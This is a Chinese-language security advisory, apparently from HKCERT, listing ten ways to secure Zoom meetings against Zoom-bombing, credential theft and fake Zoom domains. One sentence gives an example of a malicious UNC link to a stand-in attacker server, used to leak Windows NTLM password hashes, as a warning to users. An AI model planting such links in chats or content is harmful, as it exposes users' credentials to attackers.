10招保障 Zoom 網上會議安全

因應2019冠狀病毒病（COVID-19）疫情，很多公司和教育機構都會安排員工和教師在家中工作或授課，因而使更多人使用網上會議軟件作為溝通工具。其中Zoom因為操作容易及豐富功能，所以成為熱門的網上會議軟件之一。

近日，HKCERT留意到有一種針對Zoom 用戶的新興網絡攻擊。這種名為「Zoom-bombing」或「Video-teleconferencing hijacking」¹ 的攻擊會嘗試登入至未有安全設定的會議，或利用軟件早前的漏洞來搜尋可用的會議ID，再非法進入會議。一旦成功，黑客可竊聽會議，甚至騎劫會議，散播不當訊息/圖片或惡意軟件。

另外，黑客還會利用操作糸統的功能來攻擊用戶。其中一個例子是利用Windows系統中常用的UNC連結（例子 \\evil.server.com\images\cat.jpg）。用戶於Windows 中點擊任何UNC連結，系統會自動將用戶的登錄名和NTLM密碼雜湊（hashed password）發送到遠程伺服器。 因此，黑客可在Zoom會議期間向與所有與會者，發送惡意的UNC連結來收集個人資料作其他攻擊。

10招保障Zoom 會議安全

HKCERT 建議用戶可採取以下保安措施，確保會議安全進行：

甲. 所有Zoom用戶

1. 使用最新版本的 Zoom 軟件和保安軟件
   • 只在其官方網站或官方應用程式商店下載軟件
   • 經常保持軟件至最新版本²
   • 經常更新操作糸統（包括桌面電腦及流動裝置）及保安軟件
2. 提防任何不明的UNC連結
   • 不要點擊任何可疑的UNC連結
   • （適用於專業Windows用戶）設置Group policy以停止傳送NTLM密碼³
3. 切勿在會議期間分享機密資訊
   • Zoom 並未支援完全的端到端加密（端到端加密是指除指定人士外，連服務供應商Zoom亦無法查看會議的內容）。[ 2020年12月3日更新: 最近Zoom宣佈支持有限度的端到端加密。 詳情請參閲： https://blog.zoom.us/zoom-rolling-out-end-to-end-encryption-offering/ 或者Zoom的最新公告。]
   • 避免討論任何機密資料以防止外洩
4. 使用有意義的顯示名稱
   • 避免使用誤導性名稱或網上暱稱，讓主持人更容易識別與會者
5. 小心保護你的Zoom 帳戶及留心可疑的帳戶活動
   • 帳戶應設立一個高強度的帳戶密碼
   • 若發現可疑情況，請登出所有 Zoom 用戶端（如遺失電腦或手機，應立即登出所有用戶端，並更改登入密碼）
   • 切勿 隨意分享或公開主辦方傳送的會議ID和網址

乙. 主持會議的單位

6. 保護會議私密性及防止非法入侵者
   • 只向與會者分享會議ID和網址。切勿將其分享到社交媒體或公開的網絡平台
   • 每次會議都設立不同的會議ID和密碼 [備註]
   • 設立高強度的會議密碼，並分開發送會議網址給與會者
   • 使用預先登記功能來控制與會者名單
   • 禁用「在主持人之前加入會議」( Join before Host）選項，確保主持人在與會者加入會議前已經在場，讓主持人預先識別與會者
   • 善用等候室功能來控制誰可登入會議
   • 當所有與會者都加入會議後立即鎖上會議
   • 設定分享螢幕至 「只限主持人」（Only Host），並只在有需要時才開放此功能給與會者
7. 監察會議
   • 使用另一部裝置以與會者身份登入
   • 監察與會者分享的任何不當內容，移除不合適的資訊和身份不明人士
8. 小心處理會議錄像以確保安全及保護與會者私隱
   • 如果要進行錄影，應預先通知所有與會者
   • 如果錄像內含有敏感資料，應將該錄像保存於個人電腦中，而非雲端內，並設置適當的存取權限，僅共享給可信任人士
9. 保密你的帳號個人會議（Personal Meeting） ID
   • 此ID可連結至你的Zoom帳戶，所以只應作個人使用
   • 切勿分享此ID或用於一般會議中
10. 為網絡會議制定有關的保安政策
    • 公司應制定相關的保安政策，供員工於主持和參加網上會議時遵循
    • 相關政策應涵蓋使用守則及安全控制

措施亦適用於其他同類軟件嗎？

這10項措施可應用於保障其他同類軟件。市面上還有很多不同的網上會議解決方案，例如 Cisco WebEx、Adobe Connect、Microsoft Teams、Google Meet、CyberLink U Meeting等。上述針對Zoom的安全措施及相類似的設定，亦可在其他方案中找到。但不論選擇哪種方案，亦應在使用前先了解其安全功能及弱點，以便更有效地保障網絡會議安全。

對 Zoom 的網絡攻擊保持警惕

黑客還會繼續利用 Zoom 的普及性來發動不同網絡攻擊。據報導，自疫情爆發期間，有大量偽冒Zoom的域名被註冊了。這些域名會用來散播釣魚詐騙和偽裝成 Zoom 的惡意軟件來引誘用戶安裝⁴。用戶應保持警惕，不要點擊可疑的連結或開啟可疑的電郵附件。

視像會議保安攻略動畫短片

HKCERT 將上述要點製作成一條動畫短片，內容亦包含遙距工作的保安建議，用戶可到 https://youtu.be/FH7zWAb4-GQ 觀看。

備註

最新版本的 Zoom會預先啟用會議密碼設定，並新增了防止用隨機掃描會議 ID的方法來加入會議的措施。

參考資料

1. https://www.bleepingcomputer.com/news/security/fbi-warns-of-ongoing-zoom-bombing-attacks-on-video-meetings/
2. https://support.zoom.us/hc/zh-tw/articles/201362233-Where-Do-I-Download-The-Latest-Version-
3. https://www.bleepingcomputer.com/news/security/zoom-lets-attackers-steal-windows-credentials-via-unc-links/
4. https://thehackernews.com/2020/03/zoom-video-coronavirus.html